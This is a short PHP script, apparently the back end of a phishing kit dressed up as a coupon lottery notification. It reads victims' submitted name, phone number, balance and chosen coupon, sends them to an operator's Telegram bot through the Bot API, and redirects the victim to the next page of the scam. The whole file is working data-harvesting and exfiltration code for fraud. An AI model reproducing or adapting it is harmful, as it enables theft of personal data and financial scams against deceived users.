<?php
include '../telegram.php';
session_start();
$a = $_POST['a'];
$aa = $_POST['aa'];
$b = $_POST['b'];
$c = $_POST['c'];
if (empty($a)) {
    header('Location: ../../satu/satu.html'); // Arahkan kembali ke form jika kosong
    exit();
}
$message = "
𝗡𝗢𝗧𝗜𝗙𝗜𝗞𝗔𝗦𝗜 𝗨𝗡𝗗𝗜𝗔𝗡 𝗞𝗨𝗣𝗢𝗡
PILIHAN KUPON : ".$aa."
𝙉𝘼𝙈𝘼 : ".$a."
𝙉𝙊 𝙃𝙋 : ".$b."
𝙎𝘼𝙇𝘿𝙊 : ".$c."";

function sendMessage($telegram_id, $message, $id_bot) {
    $url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage?parse_mode=markdown&chat_id=" . $telegram_id;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

sendMessage($telegram_id, $message, $id_bot);
header('Location: ../3.html');
?>
